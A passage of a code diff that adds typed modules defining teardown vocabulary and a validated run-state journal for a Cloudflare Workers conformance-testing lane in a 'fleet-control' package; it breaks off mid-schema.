+ * The secrets the reference upload binds, in the order the upload pairs them
+ * with their values.
+ */
+export const REFERENCE_SECRET_NAMES: readonly string[];
+
+export type DirectTeardownPhase =
+  | 'refused'
+  | 'ingress'
+  | 'worker'
+  | 'fleet'
+  | 'quota'
+  | 'export-objects'
+  | 'exports'
+  | 'residual'
+  | 'complete';
+
+export type DirectTeardownMutation =
+  | 'disable-reference-ingress'
+  | 'delete-reference-worker'
+  | 'delete-fleet-d1'
+  | 'delete-quota-d1'
+  | 'delete-export-object'
+  | 'delete-export-r2';
+
+export type DirectTeardownFailure =
+  | 'scenario-incomplete'
+  | 'outcome-unknown'
+  | 'unexpected-object'
+  | 'identity-mismatch'
+  | 'residual-present'
+  | 'forbidden'
+  | 'provider-unavailable'
+  | 'budget-exhausted'
+  | 'invalid-state';
+
+export type DirectResidualSurface =
+  | 'databases'
+  | 'durableObjectNamespaces'
+  | 'scripts'
+  | 'buckets'
+  | 'domains'
+  | 'routes'
+  | 'queues';
+
+export const DIRECT_TEARDOWN_PHASES: readonly DirectTeardownPhase[];
+
+export const DIRECT_TEARDOWN_MUTATIONS: readonly DirectTeardownMutation[];
+
+export const DIRECT_TEARDOWN_FAILURES: readonly DirectTeardownFailure[];
+
+/**
+ * The refusal reasons a later run can clear, so a recorded refusal carrying
+ * one of them re-enters deletion once its precondition holds.
+ */
+export const DIRECT_TEARDOWN_RECOVERABLE_FAILURES: readonly DirectTeardownFailure[];
+
+export const DIRECT_RESIDUAL_SURFACES: readonly DirectResidualSurface[];
+
+export const DIRECT_TEARDOWN_MAXIMA: Readonly<{
+  nameBytes: number;
+  keyBytes: number;
+  prefixNames: number;
+  secretNames: number;
+  exportObjects: number;
+  settleAttempts: number;
+}>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs
new file mode 100644
index 00000000..fa04a4c3
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// The direct reference lane's shared vocabulary, beside the scenario lane's in
+// `direct-credentialed-scenario-budget.mjs`. It sits below bootstrap, teardown
+// and persistence so each reads one definition instead of one of them owning
+// another's names.
+
+// The secrets the reference upload binds, in the order the upload pairs them
+// with their values. Teardown asserts the set it observes against this list.
+export const REFERENCE_SECRET_NAMES = Object.freeze([
+  'CLOUDFLARE_API_TOKEN',
+  'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  'DIRECT_DEPLOYMENT_SECRETS',
+]);
+
+export const DIRECT_TEARDOWN_PHASES = Object.freeze([
+  'refused',
+  'ingress',
+  'worker',
+  'fleet',
+  'quota',
+  'export-objects',
+  'exports',
+  'residual',
+  'complete',
+]);
+
+export const DIRECT_TEARDOWN_MUTATIONS = Object.freeze([
+  'disable-reference-ingress',
+  'delete-reference-worker',
+  'delete-fleet-d1',
+  'delete-quota-d1',
+  'delete-export-object',
+  'delete-export-r2',
+]);
+
+export const DIRECT_TEARDOWN_FAILURES = Object.freeze([
+  'scenario-incomplete',
+  'outcome-unknown',
+  'unexpected-object',
+  'identity-mismatch',
+  'residual-present',
+  'forbidden',
+  'provider-unavailable',
+  'budget-exhausted',
+  'invalid-state',
+]);
+
+// A recorded refusal carrying one of these reasons is one a later run can
+// clear: each is re-checked by the guard that raises it, so a re-entry advances
+// once that guard passes. Every other reason stays terminal for automation.
+export const DIRECT_TEARDOWN_RECOVERABLE_FAILURES = Object.freeze([
+  'scenario-incomplete',
+  'outcome-unknown',
+]);
+
+export const DIRECT_RESIDUAL_SURFACES = Object.freeze([
+  'databases',
+  'durableObjectNamespaces',
+  'scripts',
+  'buckets',
+  'domains',
+  'routes',
+  'queues',
+]);
+
+export const DIRECT_TEARDOWN_MAXIMA = Object.freeze({
+  nameBytes: 255,
+  keyBytes: 1024,
+  prefixNames: 16,
+  secretNames: 8,
+  exportObjects: 2,
+  settleAttempts: 5,
+});
diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts
new file mode 100644
index 00000000..7b5d8fa2
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts
@@ -0,0 +1,367 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { Stats } from 'node:fs';
+import type { DirectConformanceNames } from './direct-credentialed-conformance-config.mjs';
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type {
+  DirectResidualSurface,
+  DirectTeardownFailure,
+  DirectTeardownMutation,
+  DirectTeardownPhase,
+} from './direct-credentialed-reference-vocabulary.mjs';
+import type { DirectScenarioState } from './direct-credentialed-scenario.mjs';
+import type { DirectReferenceAction } from './direct-reference-contract.mjs';
+
+export type DirectRunStateErrorCode =
+  | 'invalid-state'
+  | 'run-exists'
+  | 'run-missing'
+  | 'lock-unavailable'
+  | 'outcome-unknown'
+  | 'invocation-budget-exhausted'
+  | 'unsupported-scenario-version';
+
+export class DirectRunStateError extends Error {
+  readonly code: DirectRunStateErrorCode;
+  constructor(code?: DirectRunStateErrorCode);
+}
+
+type WithoutToken<Action> = Action extends unknown
+  ? Omit<Action, 'token'>
+  : never;
+
+export type DirectRunActionSummary = WithoutToken<DirectReferenceAction>;
+
+export interface DirectRunBinding {
+  readonly accountId: string;
+  readonly configSha256: string;
+  readonly referenceModuleSetSha256: string;
+  readonly resourcePrefix: string;
+  readonly maxInvocations: number;
+}
+
+export interface DirectInvocationReservation {
+  readonly ordinal: number;
+  readonly requestSha256: string;
+}
+
+export interface DirectRunSnapshot {
+  readonly version: 2;
+  readonly createdAt?: string;
+  readonly resumeCount?: number;
+  readonly binding: DirectRunBinding;
+  readonly invocationCount: number;
+  readonly lastInvocation:
+    | (DirectInvocationReservation &
+        Readonly<{
+          action: DirectRunActionSummary;
+          state: 'pending' | 'settled';
+        }>)
+    | null;
+  readonly bootstrap: DirectBootstrapState | null;
+  readonly scenario?: DirectScenarioState;
+  readonly teardown?: DirectTeardownState;
+}
+
+export interface DirectBootstrapContext {
+  readonly names: DirectConformanceNames;
+  readonly zoneId: string;
+  readonly zoneName: string;
+  readonly accountWorkersDevSubdomain: string;
+  readonly dispatch: Readonly<{
+    kind: 'first-page-404' | 'empty' | 'enumerated';
+    count: number;
+  }>;
+}
+
+export interface DirectBootstrapD1Receipt {
+  readonly uuid: string;
+  readonly name: string;
+}
+
+export interface DirectBootstrapR2Receipt {
+  readonly name: string;
+  readonly jurisdiction: 'default';
+  readonly creationDate: string;
+}
+
+export interface DirectBootstrapUploadReceipt {
+  readonly scriptName: string;
+  readonly tag: string | null;
+  readonly etag: string | null;
+}
+
+export type DirectBootstrapMutation =
+  | 'create-fleet-d1'
+  | 'create-quota-d1'
+  | 'create-export-r2'
+  | 'upload-reference'
+  | 'enable-reference-ingress';
+
+export type DirectBootstrapMutationReceipt =
+  | Readonly<{
+      kind: 'create-fleet-d1' | 'create-quota-d1';
+      receipt: DirectBootstrapD1Receipt;
+    }>
+  | Readonly<{ kind: 'create-export-r2'; receipt: DirectBootstrapR2Receipt }>
+  | Readonly<{
+      kind: 'upload-reference';
+      receipt: DirectBootstrapUploadReceipt;
+    }>
+  | Readonly<{
+      kind: 'enable-reference-ingress';
+      receipt: Readonly<{ enabled: true; previewsEnabled: false }>;
+    }>;
+
+export type DirectBootstrapObservation =
+  | Readonly<{ kind: 'active'; deploymentId: string; versionId: string }>
+  | Readonly<{ kind: 'control-read'; ordinal: number }>;
+
+export interface DirectBootstrapState {
+  readonly context: DirectBootstrapContext;
+  readonly fleet: DirectBootstrapD1Receipt | null;
+  readonly quota: DirectBootstrapD1Receipt | null;
+  readonly exports: DirectBootstrapR2Receipt | null;
+  readonly upload: DirectBootstrapUploadReceipt | null;
+  readonly active: Readonly<{ deploymentId: string; versionId: string }> | null;
+  readonly ingress: Readonly<{ enabled: true; previewsEnabled: false }> | null;
+  readonly controlReadOrdinal: number | null;
+  readonly pending: DirectBootstrapMutation | null;
+}
+
+export type {
+  DirectResidualSurface,
+  DirectTeardownFailure,
+  DirectTeardownMutation,
+  DirectTeardownPhase,
+} from './direct-credentialed-reference-vocabulary.mjs';
+
+export interface DirectResidualObservation {
+  /**
+   * One shape, one version, for as long as the journal has one shape: a
+   * journal carrying another is refused by the schema rather than migrated,
+   * so this field never moves off `1`.
+   */
+  readonly version: 1;
+  readonly surfaces: Readonly<
+    Record<
+      DirectResidualSurface,
+      Readonly<{
+        prefixCount: number;
+        prefixNames: readonly string[];
+        globalCount: number | null;
+        /**
+         * One name over three derivations, so read it per surface.
+         * `scripts`, `domains`, `routes` and `queues` are single pages and
+         * carry the provider's own `result_info` attestation. `databases`,
+         * `durableObjectNamespaces` and `buckets` are paged to an empty page
+         * and carry `true` from that completed loop. A `queues` collection the
+         * account does not have answers 404, which records `false`: an empty
+         * page the provider never attested.
+         */
+        exhaustive: boolean;
+      }>
+    >
+  >;
+  readonly bucketJurisdictions: readonly ['default'];
+  readonly dispatch: Readonly<{
+    kind: 'first-page-404' | 'empty' | 'enumerated' | 'fail-closed';
+    count: number;
+    status: number | null;
+    prefixCount: number;
+  }>;
+  readonly versionsGone: boolean | null;
+  readonly settleAttempts: number;
+}
+
+interface DirectTeardownSettlement {
+  readonly ordinal: number;
+  readonly settledByReread: boolean;
+}
+
+export interface DirectTeardownReceipts {
+  readonly ingress: DirectTeardownSettlement | null;
+  readonly worker:
+    | (DirectTeardownSettlement &
+        Readonly<{ scriptName: string; secretNames: readonly string[] }>)
+    | null;
+  readonly fleet:
+    | (DirectTeardownSettlement & Readonly<{ uuid: string }>)
+    | null;
+  readonly quota:
+    | (DirectTeardownSettlement & Readonly<{ uuid: string }>)
+    | null;
+  readonly exportObjects: readonly (DirectTeardownSettlement &
+    Readonly<{ key: string }>)[];
+  readonly exports:
+    | (DirectTeardownSettlement & Readonly<{ name: string }>)
+    | null;
+}
+
+export interface DirectTeardownState {
+  readonly version: 1;
+  readonly phase: DirectTeardownPhase;
+  readonly pending: Readonly<{
+    kind: DirectTeardownMutation;
+    key?: string;
+  }> | null;
+  readonly receipts: DirectTeardownReceipts;
+  readonly residual: DirectResidualObservation | null;
+  readonly providerRequests: number;
+  readonly failure: DirectTeardownFailure | null;
+}
+
+export interface DirectRunJournal {
+  readonly directory: string;
+  snapshot(): DirectRunSnapshot;
+  recordScenario(state: DirectScenarioState): Promise<void>;
+  recordResume(): Promise<void>;
+  recordTeardown(state: DirectTeardownState): Promise<void>;
+  assertTeardownCapacity(worstCase: DirectTeardownState): Promise<void>;
+  bindBootstrapContext(context: DirectBootstrapContext): Promise<void>;
+  beginBootstrapMutation(kind: DirectBootstrapMutation): Promise<void>;
+  confirmBootstrapMutation(
+    receipt: DirectBootstrapMutationReceipt,
+  ): Promise<void>;
+  recordBootstrapObservation(
+    observation: DirectBootstrapObservation,
+  ): Promise<void>;
+  reserveInvocation(
+    serializedRequest: string,
+  ): Promise<DirectInvocationReservation>;
+  settleInvocation(reservation: DirectInvocationReservation): Promise<void>;
+  close(): Promise<void>;
+}
+
+export const DIRECT_SCENARIO_FAILURES: readonly [
+  'observation-mismatch',
+  'outcome-unknown',
+  'proof-unavailable',
+  'budget-exhausted',
+  'invocation-budget-exhausted',
+  'reference-refused',
+  'invalid-input',
+  'provider-unavailable',
+  'journal-failed',
+  'blocked',
+];
+
+export const DIRECT_SCENARIO_FAILURE_DETAILS: readonly [
+  'platform-page',
+  'transport-failure',
+  'non-contract-answer',
+  'delivery-window-expired',
+  'phase-ceiling',
+  'run-reserve',
+  'below-scenario-floor',
+];
+
+export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [
+  'inventory-before',
+  'inventory-after',
+  'audit-before',
+  'audit-after',
+  'migration-next',
+  'cleanup-a',
+  'cleanup-b',
+  'cleanup-recovery',
+  'cleanup-recovery-initial',
+  'decommission-a',
+  'decommission-b',
+  'decommission-recovery',
+];
+
+export const DIRECT_RUN_MAX_JOURNAL_BYTES: number;
+
+export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{
+  health: number;
+  steps: number;
+  exportVerifications: number;
+  auditFindings: number;
+  footprintVersionIds: number;
+  deploymentVersions: number;
+  inventoryCategories: number;
+  inventory: Readonly<{
+    databaseIds: number;
+    namespaceIds: number;
+    scriptNames: number;
+    routeHostnames: number;
+    bucketNames: number;
+    findings: number;
+  }>;
+}>;
+
+export function actionSummary(
+  action: DirectReferenceAction,
+): DirectRunActionSummary;
+
+/**
+ * True for a settled force-terminal `before` identity: `null`, or exactly
+ * `databaseId` and `scriptName`, both inside the identifier grammar the
+ * journal's own `before` shape decodes with. A caller guarding an observed
+ * identity reads this instead of restating that rule.
+ */
+export function isForceIdentity(value: unknown): boolean;
+
+export function openDirectRunState(
+  input: Readonly<{
+    configPath: string;
+    prepared: PreparedDirectConformance;
+    accountId: string;
+    mode: 'run' | 'resume';
+    now?: number;
+  }>,
+): Promise<DirectRunJournal>;
+
+export const DIRECT_RUN_MAX_RESUME_COUNT: number;
+
+/**
+ * True while the journal does not know the outcome of an invocation or of a
+ * bootstrap mutation. Teardown's own pending mutation is deliberately not part
+ * of it: the paths that publish a teardown receipt are recording that
+ * mutation.
+ */
+export function mutationPending(snapshot: DirectRunSnapshot): boolean;
+
+/** The open flags every private journal and evidence handle carries. */
+export function fileFlags(access: number): number;
+
+/**
+ * Refuses a handle whose owner, mode, type or link count is not the private
+ * one this lane writes: `0700` for a directory, `0600` for a single-linked
+ * file owned by the current user.
+ */
+export function assertPrivate(stat: Stats, directory: boolean): void;
+
+/**
+ * Removes the staging files a `prefix`/`suffix` pair names from `directory`,
+ * which an interrupted publication leaves behind between a create and its
+ * rename.
+ */
+export function sweepStagedFiles(
+  directory: string,
+  prefix: string,
+  suffix: string,
+): Promise<void>;
+
+/**
+ * The 24-byte ISO-8601 shape every journal and evidence timestamp carries.
+ * Anchored and stateless, so callers share the one pattern.
+ */
+export const DIRECT_RUN_TIMESTAMP: RegExp;
+
+export type DirectRunStateInspection = Readonly<{
+  /** The run directory this module owns, so a caller derives no layout of its own. */
+  directory: string;
+  snapshot: DirectRunSnapshot;
+  close(): Promise<void>;
+}>;
+
+export function inspectDirectRunState(
+  input: Readonly<{
+    configPath: string;
+    prepared: PreparedDirectConformance;
+    accountId: string;
+    mode: 'inspect';
+  }>,
+): Promise<DirectRunStateInspection>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs
new file mode 100644
index 00000000..51def0eb
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs
@@ -0,0 +1,2153 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from 'node:child_process';
+import { createHash, randomUUID } from 'node:crypto';
+import { constants } from 'node:fs';
+import {
+  lstat,
+  mkdir,
+  open,
+  readdir,
+  rename,
+  rmdir,
+  unlink,
+} from 'node:fs/promises';
+import { dirname, join, resolve } from 'node:path';
+import PQueue from 'p-queue';
+import {
+  DNS_LABEL,
+  deriveDirectConformanceNames,
+} from './direct-credentialed-conformance-config.mjs';
+import {
+  DIRECT_RESIDUAL_SURFACES,
+  DIRECT_TEARDOWN_FAILURES,
+  DIRECT_TEARDOWN_MAXIMA,
+  DIRECT_TEARDOWN_MUTATIONS,
+  DIRECT_TEARDOWN_PHASES,
+  DIRECT_TEARDOWN_RECOVERABLE_FAILURES,
+} from './direct-credentialed-reference-vocabulary.mjs';
+import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs';
+import {
+  DIRECT_REFERENCE_BODY_LIMIT,
+  readDirectReferenceRequest,
+} from './direct-reference-contract.mjs';
+
+const ERROR_CODES = new Set([
+  'invalid-state',
+  'run-exists',
+  'run-missing',
+  'lock-unavailable',
+  'outcome-unknown',
+  'invocation-budget-exhausted',
+  'unsupported-scenario-version',
+]);
+// The action members a call is recorded under. A resumed `force-terminal-a`
+// reads `kind` and `role` back from the settled call to recognize its own
+// force, so dropping either name stops that phase recognizing it.
+const SUMMARY_FIELDS = [
+  'kind',
+  'role',
+  'slot',
+  'operation',
+  'release',
+  'limit',
+  'afterOrdinal',
+  'expectedMutationEpoch',
+  'expectedRevision',
+];
+const NUMERIC_SUMMARY_FIELDS = new Set([
+  'limit',
+  'afterOrdinal',
+  'expectedMutationEpoch',
+  'expectedRevision',
+]);
+export const DIRECT_RUN_MAX_JOURNAL_BYTES = 256 * 1024;
+export const DIRECT_SCENARIO_ARRAY_MAXIMA = Object.freeze({
+  health: 5,
+  steps: 64,
+  exportVerifications: 16,
+  auditFindings: 16,
+  footprintVersionIds: 8,
+  deploymentVersions: 2,
+  inventoryCategories: 9,
+  inventory: Object.freeze({
+    databaseIds: 2,
+    namespaceIds: 4,
+    scriptNames: 2,
+    routeHostnames: 2,
+    bucketNames: 2,
+    findings: 32,
+  }),
+});
+
+export class DirectRunStateError extends Error {
+  constructor(code = 'invalid-state') {
+    const accepted = ERROR_CODES.has(code) ? code : 'invalid-state';
+    super(accepted);
+    this.name = 'DirectRunStateError';
+    this.code = accepted;
+  }
+}
+
+function invalid() {
+  throw new DirectRunStateError();
+}
+
+function stateError(error) {
+  return error instanceof DirectRunStateError
+    ? error
+    : new DirectRunStateError();
+}
+
+function object(value, keys) {
+  if (
+    !value ||
+    typeof value !== 'object' ||
+    Array.isArray(value) ||
+    Object.keys(value).length !== keys.length ||
+    keys.some((key) => !Object.hasOwn(value, key))
+  )
+    invalid();
+  return value;
+}
+
+function digest(value) {
+  if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) invalid();
+  return value;
+}
+
+export const DIRECT_RUN_MAX_RESUME_COUNT = 999_999;
+/**
+ * The 24-byte ISO-8601 shape every timestamp in the journal and in the evidence
+ * artifact carries. The pattern is anchored and stateless, so callers share it.
+ */
+export const DIRECT_RUN_TIMESTAMP =
+  /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/u;
+
+function runTimestamp(value) {
+  if (typeof value !== 'string' || !DIRECT_RUN_TIMESTAMP.test(value)) invalid();
+  const parsed = Date.parse(value);
+  if (!Number.isFinite(parsed) || new Date(parsed).toISOString() !== value)
+    invalid();
+  return value;
+}
+
+function resumeCounter(value) {
+  if (
+    !Number.isSafeInteger(value) ||
+    value < 0 ||
+    value > DIRECT_RUN_MAX_RESUME_COUNT
+  )
+    invalid();
+  return value;
+}
+
+function runClock(now) {
+  if (now === undefined) return Date.now();
+  if (!Number.isSafeInteger(now) || now < 0) invalid();
+  return now;
+}
+
+function bindingFromInput(input) {
+  const accountId = input.accountId;
+  if (
+    typeof accountId !== 'string' ||
+    !accountId ||
+    accountId !== accountId.trim() ||
+    accountId.length > 128 ||
+    [...accountId].some(
+      (character) =>
+        character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127,
+    )
+  )
+    invalid();
+  const resourcePrefix = input.prepared.config.resourcePrefix;
+  const maxInvocations = input.prepared.config.referenceWorker.maxInvocations;
+  if (
+    typeof resourcePrefix !== 'string' ||
+    !/^fc[a-f0-9]{24}$/u.test(resourcePrefix) ||
+    !Number.isSafeInteger(maxInvocations) ||
+    maxInvocations < 1
+  )
+    invalid();
+  return Object.freeze({
+    accountId,
+    configSha256: digest(input.prepared.configSha256),
+    referenceModuleSetSha256: digest(input.prepared.referenceModuleSetSha256),
+    resourcePrefix,
+    maxInvocations,
+  });
+}
+
+export function actionSummary(action) {
+  return Object.freeze(
+    Object.fromEntries(
+      SUMMARY_FIELDS.filter((key) => Object.hasOwn(action, key)).map((key) => [
+        key,
+        action[key],
+      ]),
+    ),
+  );
+}
+
+// The identifier grammar every journalled name and identity carries. It has no
+// `g` flag and holds no state, so the decoder and the predicate below share it.
+const SCENARIO_ID = /^[A-Za-z0-9_.:-]{1,128}$/u;
+
+/**
+ * True for a settled force-terminal `before` identity: `null`, or exactly
+ * `databaseId` and `scriptName`, both inside `SCENARIO_ID`. The scenario's
+ * settlement guard reads this, so the identity it admits is the one the
+ * journal's own `before` shape admits.
+ */
+export function isForceIdentity(value) {
+  if (value === null) return true;
+  if (!value || typeof value !== 'object' || Array.isArray(value)) return false;
+  return (
+    Object.keys(value).length === 2 &&
+    Object.hasOwn(value, 'databaseId') &&
+    Object.hasOwn(value, 'scriptName') &&
+    typeof value.databaseId === 'string' &&
+    typeof value.scriptName === 'string' &&
+    SCENARIO_ID.test(value.databaseId) &&
+    SCENARIO_ID.test(value.scriptName)
+  );
+}
+
+function replayableAction(action) {
+  const result = { ...action };
+  if (
+    result.kind === 'cleanup-restart-blocked' ||
+    result.kind === 'decommission-restart-blocked'
+  )
+    result.token = null;
+  return result;
+}
+
+async function decodeRequest(serialized, configSha256) {
+  if (
+    typeof serialized !== 'string' ||
+    Buffer.byteLength(serialized) > DIRECT_REFERENCE_BODY_LIMIT
+  )
+    invalid();
+  try {
+    return await readDirectReferenceRequest(
+      new Request('https://direct-conformance.invalid/', {
+        method: 'POST',
+        body: serialized,
+      }),
+      configSha256,
+    );
+  } catch {
+    invalid();
+  }
+}
+
+async function decodeSnapshot(value, binding) {
+  const keys = ['version', 'binding', 'invocationCount', 'lastInvocation'];
+  object(
+    value,
+    value.version === 1
+      ? keys
+      : [
+          ...keys,
+          'bootstrap',
+          ...(Object.hasOwn(value, 'createdAt') ? ['createdAt'] : []),
+          ...(Object.hasOwn(value, 'resumeCount') ? ['resumeCount'] : []),
+          ...(Object.hasOwn(value, 'scenario') ? ['scenario'] : []),
+          ...(Object.hasOwn(value, 'teardown') ? ['teardown'] : []),
+        ],
+  );
+  const createdAt = Object.hasOwn(value, 'createdAt')
+    ? runTimestamp(value.createdAt)
+    : undefined;
+  const resumeCount = Object.hasOwn(value, 'resumeCount')
+    ? resumeCounter(value.resumeCount)
+    : undefined;
+  object(value.binding, Object.keys(binding));
+  if (
+    ![1, 2].includes(value.version) ||
+    Object.entries(binding).some(
+      ([key, expected]) => value.binding[key] !== expected,
+    ) ||
+    !Number.isSafeInteger(value.invocationCount) ||
+    value.invocationCount < 0 ||
+    value.invocationCount > binding.maxInvocations
+  )
+    invalid();
+  let lastInvocation = null;
+  if (value.invocationCount === 0) {
+    if (value.lastInvocation !== null) invalid();
+  } else {
+    const last = object(value.lastInvocation, [
+      'ordinal',
+      'requestSha256',
+      'action',
+      'state',
+    ]);
+    if (
+      last.ordinal !== value.invocationCount ||
+      (last.state !== 'pending' && last.state !== 'settled') ||
+      !last.action ||
+      typeof last.action !== 'object' ||
+      Array.isArray(last.action) ||
+      Object.hasOwn(last.action, 'token')
+    )
+      invalid();
+    const decoded = await decodeRequest(
+      JSON.stringify({
+        contractVersion: 1,
+        configSha256: binding.configSha256,
+        action: replayableAction(last.action),
+      }),
+      binding.configSha256,
+    );
+    lastInvocation = Object.freeze({
+      ordinal: last.ordinal,
+      requestSha256: digest(last.requestSha256),
+      action: actionSummary(decoded.action),
+      state: last.state,
+    });
+  }
+  const scenario = Object.hasOwn(value, 'scenario')
+    ? decodeScenario(value.scenario, value.invocationCount)
+    : undefined;
+  if (scenario) await validateScenarioActions(scenario, binding);
+  const teardown = Object.hasOwn(value, 'teardown')
+    ? decodeTeardown(value.teardown)
+    : undefined;
+  return Object.freeze({
+    version: 2,
+    ...(createdAt !== undefined ? { createdAt } : {}),
+    ...(resumeCount !== undefined ? { resumeCount } : {}),
+    binding,
+    invocationCount: value.invocationCount,
+    lastInvocation,
+    bootstrap: decodeBootstrap(
+      value.version === 1 ? null : value.bootstrap,
+      binding,
+      value.invocationCount,
+      lastInvocation,
+    ),
+    ...(scenario ? { scenario } : {}),
+    ...(teardown ? { teardown } : {}),
+  });
+}
+
+function identifier(value, max = 128) {
+  if (
+    typeof value !== 'string' ||
+    !value ||
+    value !== value.trim() ||
+    value.length > max ||
+    [...value].some(
+      (character) =>
+        character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127,
+    )
+  )
+    invalid();
+  return value;
+}
+
+function equalShape(value, expected) {
+  if (Array.isArray(expected)) {
+    if (!Array.isArray(value) || value.length !== expected.length) invalid();
+    expected.forEach((entry, index) => {
+      equalShape(value[index], entry);
+    });
+  } else if (expected !== null && typeof expected === 'object') {
+    object(value, Object.keys(expected));
+    for (const key of Object.keys(expected))
+      equalShape(value[key], expected[key]);
+  } else if (value !== expected) invalid();
+}
+
+export const DIRECT_SCENARIO_FAILURES = Object.freeze([
+  'observation-mismatch',
+  'outcome-unknown',
+  'proof-unavailable',
+  'budget-exhausted',
+  'invocation-budget-exhausted',
+  'reference-refused',
+  'invalid-input',
+  'provider-unavailable',
+  'journal-failed',
+  'blocked',
+]);
+
+export const DIRECT_SCENARIO_FAILURE_DETAILS = Object.freeze([
+  'platform-page',
+  'transport-failure',
+  'non-contract-answer',
+  'delivery-window-expired',
+  'phase-ceiling',
+  'run-reserve',
+  'below-scenario-floor',
+]);
+
+export const DIRECT_SCENARIO_OPERATION_SLOTS = Object.freeze([
+  'inventory-before',
+  'inventory-after',
+  'audit-before',
+  'audit-after',
+  'migration-next',
+  'cleanup-a',
+  'cleanup-b',
+  'cleanup-recovery',
+  'cleanup-recovery-initial',
+  'decommission-a',
+  'decommission-b',
+  'decommission-recovery',
+]);
+
+const TEARDOWN_RECEIPT_FIELD = Object.freeze({
+  'disable-reference-ingress': 'ingress',
+  'delete-reference-worker': 'worker',
+  'delete-fleet-d1': 'fleet',
+  'delete-quota-d1': 'quota',
+  'delete-export-object': 'exportObjects',
+  'delete-export-r2': 'exports',
+});
+
+const TEARDOWN_RECEIPT_ORDER = Object.freeze([
+  'ingress',
+  'worker',
+  'fleet',
+  'quota',
+  'exportObjects',
+  'exports',
+]);
+
+const RESIDUAL_PHASES = Object.freeze(['refused', 'residual', 'complete']);
+
+const scenarioNumber = (value) => {
+  if (!Number.isSafeInteger(value) || value < 0) invalid();
+  return value;
+};
+const scenarioId = (value) => {
+  if (typeof value !== 'string' || !SCENARIO_ID.test(value)) invalid();
+  return value;
+};
+// A recorded route hostname is two or more of the configuration module's DNS
+// labels, inside the 253-byte name bound, carrying a letter so a numeric name
+// cannot pass. It keeps `invalid()` as its failure channel: what the journal
+// admits is a run-state refusal, not a configuration one.
+const scenarioHostname = (value) => {
+  if (typeof value !== 'string' || value.length > 253 || !/[a-z]/u.test(value))
+    invalid();
+  const labels = value.split('.');
+  if (labels.length < 2 || labels.some((label) => !DNS_LABEL.test(label)))
+    invalid();
+  return value;
+};
+const scenarioEnum =
+  (...values) =>
+  (value) => {
+    if (!values.includes(value)) invalid();
+    return value;
+  };
+// A schema that admits null carries the mark, so the one declaration also
+// answers which members of a shape may still be absent.
+const NULLABLE = Symbol('nullable');
+const nullable = (schema) => {
+  const decode = (value) =>
+    value === null ? null : scenarioShape(value, schema);
+  decode[NULLABLE] = true;
+  return decode;
+};
+const nullableKeys = (shape) =>
+  Object.keys(shape).filter((key) => shape[key]?.[NULLABLE] === true);
+const scenarioFlag = scenarioEnum(true, false);
+const boundedArray = (schema, max) => {
+  if (!Number.isSafeInteger(max) || max < 0) invalid();
+  return (value) => {
+    if (!Array.isArray(value) || value.length > max) invalid();
+    return Object.freeze(value.map((entry) => scenarioShape(entry, schema)));
+  };
+};
+const OPTIONAL = Symbol('optional');
+const optional = (schema) => ({ [OPTIONAL]: schema });
+const optionalSchema = (field) =>
+  field && typeof field === 'object' && OPTIONAL in field
+    ? field[OPTIONAL]
+    : null;
+function scenarioShape(value, schema) {
+  if (typeof schema === 'function') return schema(value);
+  if (schema === null || typeof schema !== 'object') {
+    if (value !== schema) invalid();
+    return value;
+  }
+  const fields = Object.entries(schema).filter(
+    ([key, field]) =>
+      !optionalSchema(field) ||
+      (Boolean(value) &&
+        typeof value === 'object' &&
+        Object.hasOwn(value, key)),
+  );
+  object(
+    value,
+    fields.map(([key]) => key),
+  );
+  return Object.freeze(
+    Object.fromEntries(
+      fields.map(([key, field]) => [
+        key,
+        scenarioShape(value[key], optionalSchema(field) ?? field),
+      ]),
+    ),
+  );
+}
+const scenarioDate = (value) => {
+  identifier(value, 32);
+  if (
+    !Number.isFinite(Date.parse(value)) ||
+    new Date(value).toISOString() !== value
+  )
+    invalid();
+  return value;
+};
+const scenarioLocation = (value) => {
+  if (
+    typeof value !== 'string' ||
+    !/^r2:\/\/[A-Za-z0-9_./:-]{1,700}$/u.test(value)
+  )
+    invalid();
+  return value;
+};
+const normalRole = scenarioEnum('a', 'b');
+const scenarioRole = scenarioEnum('a', 'b', 'recovery');
+const attemptsShape = {
+  provider: scenarioNumber,
+  maintenance: scenarioNumber,
+  application: scenarioNumber,
+};
+const expectedVersionShape = {
+  role: scenarioRole,
+  versionId: scenarioId,
+  databaseId: scenarioId,
+  specDigest: digest,
+  applicationRelease: scenarioEnum('1', '2'),
+};
+const workerVersionShape = {
+  ...expectedVersionShape,
+  accountId: scenarioId,
+  tenantTag: scenarioId,
+  environment: scenarioId,
+  scriptName: scenarioId,
+  currentDeployment: {
+    deploymentId: scenarioId,
+    activeVersionId: scenarioId,
+    versions: boundedArray(
+      {
+        versionId: scenarioId,
+        percentage: (value) => {
+          if (
+            typeof value !== 'number' ||
+            !Number.isFinite(value) ||
+            value < 0 ||
+            value > 100
+          )
+            invalid();
+          return value;
+        },
+      },
+      DIRECT_SCENARIO_ARRAY_MAXIMA.deploymentVersions,
+    ),
+  },
+  trafficPercentage: scenarioEnum(0, 100),
+  cpuLimitMs: scenarioNumber,
+  subrequestLimit: scenarioNumber,
+  schemaVersion: scenarioEnum(1, 2),
+  namespaces: boundedArray(
+    {
+      binding: scenarioEnum('MAINTENANCE', 'RUNNER'),
